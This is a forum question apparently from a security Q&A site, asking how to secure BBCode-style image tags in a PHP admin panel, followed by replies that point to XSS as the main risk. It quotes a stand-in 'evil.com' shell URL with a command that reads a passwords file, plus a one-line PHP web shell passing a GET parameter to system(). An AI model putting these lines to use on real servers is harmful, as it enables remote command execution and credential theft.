I'm trying to make a kind of administratorpanel for my website, so I could e.g easily add news articles to my website. The problem is that the administrators should be able to use a kind of BBCode, but I need to do this in a secure way.

For these tags it ain't a problem: [h1], [b], [i]

,... That's just replacing with <h1>, <b>, <i>,... but I'm encountering problems with for example the [img]-tag.

[img]http://image-host.com/cat.png[/img] ain't a problem if I replace the [IMG] with <img>. But

[img]http://evil.com/shell.php?cmd=echo $(cat passwords.txt) > stolenPasswords.txt"[/img] could give a problem (just for the sake of a quick example).

Users reacting with an image, or an evil administrator could give the URL to a shell or other evil code.

Tested with this code:


        <img src="cat.jpeg" /><br>
        <img src="http://localhost/test2/danger1.php?cmd=echo $(cat ../test/passwords.txt) > stolenPasswords.txt" />


        $x = system($_GET["cmd"]);

Will normal image-validating also satisfy even if it's remote? IMHO not because evil.com could be a Nginx server on which .png images can be interpreted as code.

I'm asking on how to do it in code (PHP), but also on how to secure it by server-configuration.

TL;DR How can I secure the panel which allows administrators and users to set bold and italic text, and images by using something like BBCode-like tags?

  • 2
    The thing I would be worried about is XSS, but that doesn't seem to be what the question is about? I'm not sure what you are worried about here. The localhost here would be the client machine where the user visits the website, not your server. Why would the client visiting the admin panel have a local server running with a backdoor in a specific file named danger1.php? – Anders Jan 2 '17 at 13:09
  • It's in general about protection against XSS but also other vulnerabilities which could occur with inclusion , and in my example the client has a separated server evil.com; localhost is only in the example-code I used. – O'Niel Jan 2 '17 at 13:48
  • I think just asking about security in general makes the question to broad - it basically boils down to "How do I write a safe bbcode engine?" If I were you I would instead focus on just the specific test case with the image. And there I would recommend you to try to explain what attack you are worried about, because right now the scenario makes no sense to me. But maybe I am missing something, I am known to think slow sometimes... :-) – Anders Jan 2 '17 at 14:26
  • I'm with @Anders. The example of RCE as it is currently worded has too many pre-conditions and is generally not the concern with processors like BBCode. The primary concern is XSS. You'll see XSS in Markdown, BBCode, MediaWiki markup, etc. The more general question is "how do I write a safe BBCode engine?" which is quite broad. If the question is about XSS, you might get a better response. That isn't to say RCE can't happen with BBCode, but usually not in the way it is currently worded. – h4ckNinja Jan 2 '17 at 20:33

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Browse other questions tagged or ask your own question.